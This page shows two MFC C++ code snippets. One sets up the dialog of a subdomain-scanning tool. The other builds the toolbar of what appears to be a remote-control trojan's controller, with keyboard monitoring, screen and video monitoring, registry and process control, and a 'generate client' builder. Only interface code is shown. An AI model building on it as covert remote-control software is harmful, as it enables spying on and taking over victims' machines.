示例#1
0
BOOL CMainDlg::OnInitDialog() 
{
	CDialog::OnInitDialog();
	INIT_EASYSIZE;
	// TODO: Add extra initialization here
	char strFilePath[MAX_PATH] = {0};
	GetModuleFileName(NULL, strFilePath, sizeof(strFilePath));
	PathRemoveFileSpec(strFilePath);
	lstrcat(strFilePath, "\\plugin\\");
	lstrcat(strFilePath, "SubDomain.txt");
	m_strDictionaryPath.Format("%s", strFilePath);

	m_wndStatusBar.Create(WS_CHILD | WS_VISIBLE | CCS_BOTTOM, CRect(0, 0, 0, 0), this, 0x1200001);
	int strPartDim[2]= {300, -1};
	m_wndStatusBar.SetParts(2, strPartDim);
	
	PostMessage(WM_SIZE);

	m_ImageList.Create(16, 16, ILC_COLORDDB | ILC_MASK, 0, 1);
	LoadMyBitmap(&m_ImageList, IDB_BITMAP_URL);
	m_ListCtrl.InsertColumn(0, _T("域名"), LVCFMT_LEFT, 200);
	m_ListCtrl.InsertColumn(1, _T("IP"), LVCFMT_LEFT, 300);
	m_ListCtrl.InsertColumn(2, _T("主机名称"), LVCFMT_LEFT, 150);
	m_ListCtrl.InsertColumn(3, _T("服务器类型"), LVCFMT_LEFT, 120);
	m_ListCtrl.InsertColumn(4, _T("标题"), LVCFMT_LEFT, 200);
	m_ListCtrl.SetExtendedStyle(m_ListCtrl.GetExtendedStyle() | LVS_EX_SUBITEMIMAGES | LVS_EX_FULLROWSELECT);
	m_ListCtrl.SetImageList(&m_ImageList, LVSIL_SMALL);

	return TRUE;  // return TRUE unless you set the focus to a control
	              // EXCEPTION: OCX Property Pages should return FALSE
}
示例#2
0
int CMainFrame::OnCreate(LPCREATESTRUCT lpCreateStruct)
{
	if (CFrameWnd::OnCreate(lpCreateStruct) == -1)
		return -1;

	if (!m_wndToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP
		| CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC) ||
		!m_wndToolBar.LoadToolBar(IDR_MAINFRAME))
	{
		TRACE0("Failed to create toolbar\n");
		return -1;      // fail to create
	}

	if (!m_wndStatusBar.Create(this) ||
		!m_wndStatusBar.SetIndicators(indicators,
		  sizeof(indicators)/sizeof(UINT)))
	{
		TRACE0("Failed to create status bar\n");
		return -1;      // fail to create
	}

	m_ToolBarList.Create(60,32,ILC_COLOR24|ILC_MASK,10,10);
	CSize m_Size = 
	LoadMyBitmap(IDB_BITMAP_MANA);
	LoadMyBitmap(IDB_BITMAP_FRAME);
	LoadMyBitmap(IDB_BITMAP_TLNT);
	LoadMyBitmap(IDB_BITMAP_KEY);

	LoadMyBitmap(IDB_BITMAP_PROC);
	LoadMyBitmap(IDB_BITMAP_REGEDIT);
	LoadMyBitmap(IDB_BITMAP_SERVICE);
	LoadMyBitmap(IDB_BITMAP_MULIT);

	LoadMyBitmap(IDB_BITMAP_SETUP);
	LoadMyBitmap(IDB_BITMAP_CREATE);
	LoadMyBitmap(IDB_BITMAP_HELP);
	LoadMyBitmap(IDB_BITMAP_INDEX);
	
	m_wndToolBar.SetButtonText(0,"文件管理");
	m_wndToolBar.SetButtonText(1,"屏幕监控");
	m_wndToolBar.SetButtonText(2,"超级终端");
	m_wndToolBar.SetButtonText(3,"键盘监控");

	m_wndToolBar.SetButtonText(5,"进程管理");
	m_wndToolBar.SetButtonText(6,"注 册 表");
	m_wndToolBar.SetButtonText(7,"服务管理");
	m_wndToolBar.SetButtonText(8,"视频监控");

	m_wndToolBar.SetButtonText(10,"参数设置");
	m_wndToolBar.SetButtonText(11,"生成客户");
	m_wndToolBar.GetToolBarCtrl().SetImageList(&m_ToolBarList);
	m_wndToolBar.GetToolBarCtrl().SetDisabledImageList(&m_ToolBarList);
	m_wndToolBar.GetToolBarCtrl().SetButtonSize(
		CSize(60,32 + m_Size.cy + 4));
	m_wndToolBar.GetToolBarCtrl().SetBitmapSize(CSize(58,32));
	
	CMenu* mmenu = GetMenu();
	m_MainMenu.Attach(mmenu->GetSafeHmenu());
	SetMenu(&m_MainMenu);

 	//取主框架窗口句柄
	m_MainValue.m_MainhWnd = GetSafeHwnd();
	return 0;
}